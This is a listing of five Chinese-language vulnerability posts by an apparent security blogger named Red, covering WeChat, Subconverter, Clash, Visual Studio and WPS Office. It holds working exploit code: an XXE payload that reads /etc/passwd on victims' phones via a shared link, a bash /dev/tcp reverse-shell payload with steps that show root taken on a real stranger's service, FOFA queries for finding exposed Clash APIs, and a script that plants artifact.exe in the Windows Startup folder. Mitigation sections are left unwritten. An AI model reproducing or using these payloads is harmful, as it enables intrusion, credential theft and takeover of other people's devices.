[漏洞分享]微信任意文件读取漏洞

漏洞描述 Libxslt 是基于 WebKit 的浏览器(如 Chrome、Safari 等)中使用的默认 XSL(eXtensible Stylesheet Language)库。Libxslt 允许通过 XSL 的 document() 方法加载的文档中包含外部实体。攻击者可以绕过安全限制,从 http(s):// URL 中访问 file:// URL,并获得文件访问权限。 在默认沙盒环境下,攻击者可以在 iOS(Safari/Chrome)、Mac(Safari/Chrome)、Android(Chrome)和Samsung TV(默认浏览器)上读取 /etc/hosts(主机)文件。当使用 -no-sandbox 属性时(Electron/PhantomJS),攻击者可以在任何操作系统上读取任何文件。(有趣的是,实测鸿蒙是唯一一个没被影响的系统) 而且微信自带的浏览器是没有开沙箱的,也就是说存在任意文件读取 漏洞复现 先来看看exp.php <?php header("Access-Control-Allow-Origin: *"); echo base64_decode("PD94bWwtc3R5bGVzaGVldCB0eXBlPSJ0ZXh0L3htbCIgaHJlZj0iaHR0cDovLzY0OG92OTJndGFtcDFyMHVuYmZ1aXE0djBtNmN1MS5idXJwY29sbGFib3JhdG9yLm5ldCI/Pgo8IURPQ1RZUEUgcCBbCjwhRU5USVRZIHBhc3N3ZCBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCI+CjwhRU5USVRZIGhvc3RzIFNZU1RFTSAiZmlsZTovLy9ldGMvaG9zdHMiPgo8IUVOVElUWSBncm91cCBTWVNURU0gImZpbGU6Ly9sb2NhbGhvc3QvZXRjL2dyb3VwIj4KCl0+IA=="); ?> <p> <p style="border-style: dotted;">/etc/passwd: &passwd; </p> <p style="border-style: dotted;">/etc/hosts: &hosts; </p> <p style="border-style: dotted;">/etc/group: &group; </p> </p> 再新建一个 exp.svg 文件在 document引用加载刚才新建的文件exp.php <?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet type="text/xsl" href="?#"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <svg width="1000%" height="1000%" version="1.1" xmlns="http://www.w3.org/2000/svg"> <foreignObject class="node" font-size="18" width="100%" height="100%"> <body xmlns="http://www.w3.org/1999/xhtml"> <xmp><xsl:copy-of select="document('exp.php')"/></xmp> <script type="text/javascript"> </script> </body> </foreignObject> </svg> </xsl:template> </xsl:stylesheet> 利用上述exp代码在本地搭建一个简单php web服务,在微信把链接发给别人,即可读取到别人手机上的/etc/passwd等敏感信息(下面测试环境是安卓8.0和IOS16.5,均为截至2023.11.22最新版微信) ...

November 22, 2023 · 1 min · Red

[漏洞分析or分享]Subconverter订阅转换服务漏洞

漏洞在此之前已经被发现,更多有关漏洞细节可以自行分析该项目 相信能点进来的各位都是使用过订阅转换服务的。通过这类在线工具可以轻松地将v2ray的节点分享链接格式转换为clash使用的订阅链接,或者将clash的订阅格式转换为v2ray使用的节点分享链接,也有人用来转换机场提供的默认clash配置,日常使用的频率非常高。 但订阅转换节点存在的安全风险不仅是有可能被第三方转换服务在后台偷走你的节点信息,就算你使用的转换服务是由节点提供商提供的(节点提供商总不可能偷自己的节点),也存在被人盗取的风险,甚至连提供商自己都不知道。 漏洞描述 目前市面上主流的订阅转换服务,例如肥羊、品云、边缘等,使用的都是基于Subconverter项目搭建的。而目前Github上的Subconverter开源项目中最新的release仍然存在RCE漏洞。也就是说,不管转换服务用的是哪个版本,都有可能被黑客入侵,从而盗走所有人的节点信息。 漏洞复现 随便在网上找个订阅转换服务 一只看着很欠揍的狐狸,就你了 随便输入个符合格式的内容,跳转出后端订阅地址 复制,并加上/version 成功展示subconverter版本。不过subconverter目前最新版只有0.7.2,所以这个服务的老板应该是自己编译改的。不管他,继续。 在下面这些接口命令中尝试访问出配置文件内容(分别使用不同的接口) # qx-script接口(0.7.2-be878e1后被删除) /qx-script?url=cHJlZi50b21s /qx-script?url=cHJlZi55bWw /qx-script?url=cHJlZi5pbmk # convert接口 /convert?url=pref.toml /convert?url=pref.ini /convert?url=pref.yml 这是由于路径穿越过滤不严谨导致配置文件内容泄露 可以看到暴露的token值为默认值password 来到配置文件最下面,看到缓存开启 好的,准备开始植入恶意指令。首先准备好木马 function parse(x){ os.exec(["sh","-c","bash -i >& /dev/tcp/{your_ip}/1880 0>&1"]) } 把{your_ip}换成你的vps ip,保存成一个txt后在这个目录下开个简单的http服务就行 再开个窗口把监听打开,准备接收反弹shell 在刚才的网址后面加上这一段,让订阅服务主动将准备好的木马读到缓存里 # 指令写入缓存目录 /sub?target=clash&url=http://{your_ip}/payload 接着把url参数后面的内容用md5加密,再放到下面这段链接里,用来触发我们的木马 /sub?target=clash&url=script:cache/{your_md5},1&token={token} 记得把{your_md5}和{token}改掉。token就是上面刚刚提到的那个 回车访问,在刚刚等待shell的窗口里就能拿到shell啦 运气不错,是个root。不过还有更刺激的,我们使用ls /etc/systemd/system查看一下他开启的服务 可以看到有个特征比较明显的sub,还有一个xui面板 之后就能用journal -fw sub看到所有在他的sub服务中转换过的订阅信息了。一览无余 漏洞分析 正在写…. 漏洞修复 正在写….

October 7, 2023 · 1 min · Red

[漏洞分享]Clash节点盗用与设备入侵

漏洞描述 Clash开发于Electron。Electron是GitHub开发的一个使用JavaScript、HTML和CSS构建桌面应用程序的开源框架。它通过使用Node.js和Chromium的渲染引擎完成跨平台的桌面GUI应用程序的开发,因此Electron拥有直接执行Node.js代码的能力,并且内置了Chromium内核,通过一个XSS漏洞就有可能导致远程代码执行的危害。 根据Clash官方文档的介绍(https://clash.gitbook.io/doc/restful-api),Clash存在一套RESTful API可以用于控制自身,能获取Clash中的一些信息,同时也能控制Clash内部的配置。 在公网中,有许多分配到公网ip的Clash设备暴露了自身的RESTful API端口,导致黑客能够直接使用clash dashboard知道其节点信息以及控制其代理端口,达到使用被害者设备代理翻墙的目的 同时,黑客也能利用以上拓补关系和较低版本Clash的历史漏洞(详见此issue:[Bug]: Remote Code Execution/远程代码执行 #3891),达到Getshell的目的 漏洞复现 在FOFA中使用下面语法对暴露的Clash API进行搜集 clash:https://fofa.info/result?qbase64=IntcImhlbGxvXCI6XCJjbGFzaFwifSI%3D clash.meta:https://fofa.info/result?qbase64=IntcImhlbGxvXCI6XCJjbGFzaC5tZXRhXCJ9Ig%3D%3D openclash:https://fofa.info/result?qbase64=cG9ydD0iOTA5MCIgJiYgYm9keT0ie1wibWVzc2FnZVwiOlwiVW5hdXRob3JpemVkXCJ9Ig%3D%3D 随机挑选,在Clash dashboard中导入拥有如下返回的IP地址和端口 即可看到该设备的节点信息 在设置中查看HTTP代理端口或混合代理端口信息 使用SwitchyOmega插件进行代理 即可访问Google 另外,如果想Getshell可以利用下面这段js代码 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <title>Hack it!</title> </head> <body> <div id="result"></div> <script> const data = { payload: "mixed-port: 7890\nallow-lan: false\nmode: rule\nlog-level: warning\nproxy-groups: \n - name: 系统被入侵\n type: select\n use:\n - provider1\nproxy-providers:\n provider1:\n type: http\n url: 'http://192.168.2.5/artifact.exe'\n interval: 36000\n path: ../../AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/\n healthcheck:\n enable: false\n interval: 600\n url: http://www.gstatic.com/generate_204" }; fetch('http://{yourip}:{yourport}/configs', { method: 'PUT', headers: { 'Content-type': 'application/json; charset=utf-8', //'Authorization': 'Bearer 123456' //clash鉴权头部 }, body: JSON.stringify(data), }) .then(response => { if (response.status === 204) { result.innerText = '入侵成功!'; } else { response.json() .then(jsonData => { result.innerText = '入侵失败!' + JSON.stringify(jsonData); }) } }) .catch(error => { result.innerText = '执行失败!' + error.message; }); </script> </body> </html> 这段payload的作用是自动下载192.168.2.5提供的artifact.exe木马到Startup开机自启目录,这个操作将在clash重启或者切换节点时候执行。具体情况修改ip和端口即可。 ...

October 4, 2023 · 1 min · Red

[漏洞分享]Visual Studio恶意指令植入漏洞

漏洞成因 漏洞的形成主要是因为Visual Studio的项目文件(vcxproj)是基于XML格式的,XML文件本身并不包含可执行代码。然而,Visual Studio的XML解析器允许在项目文件中包含一些自定义的命令,这些命令可以在构建项目时被执行。 目前该漏洞影响至visual studio所有版本,微软官方还未做出回应 漏洞复现 假设这是一个你平时在用的一个项目文件 通过修改Visual Studio的项目文件(vcxproj)植入恶意命令(必须添加在该位置) 删除x64文件夹后,重新编译项目,就会发现弹出计算器,说明指令可被执行 漏洞利用 可以直接反弹shell,通过hoaxshell直接生成powershell命令,并植入到vcxproj文件中 当受害者编译后,就能获取到权限

August 11, 2023 · 1 min · Red

[漏洞分享]WPS office 远程执行0day复现

废话不多说,直接上复现过程 先来看复现成功截图 这里需要注意wps版本,后面我会同代码和poc文档一起放上该版本下载链接 截至发文前虽然还没有公开poc,但从网上的一些复现结果中可以看出,都是将hosts记录添加为127.0.0.1,但为了更直观看到攻击机和受害者的网络拓补关系,这里我将恶意js代码放到了kali,将受害者的hosts记录添加为kali的ip,如上图所示 复现过程很简单,受害者在hosts文件中添加一条类似clientweb.docer.wps.cn.{xxxxx}wps.cn的记录后,在kali上存放恶意js代码的目录下用python启动一个简单的http服务,受害者打开攻击者准备好的恶意poc文档,就会使用wps内置的浏览器访问kali存放的恶意js代码页面,就能达到远程执行的目的(当时在群上说错了,是在受害者机器上添加hosts记录而不是攻击者) 为了拓展该漏洞的利用,可以使用cobalt strike生成对应shellcode,即可远程上线 文件下载链接:https://pan.baidu.com/s/1RziuqnlBrob7yjjLc0uXLg 提取码:reds

August 9, 2023 · 1 min · Red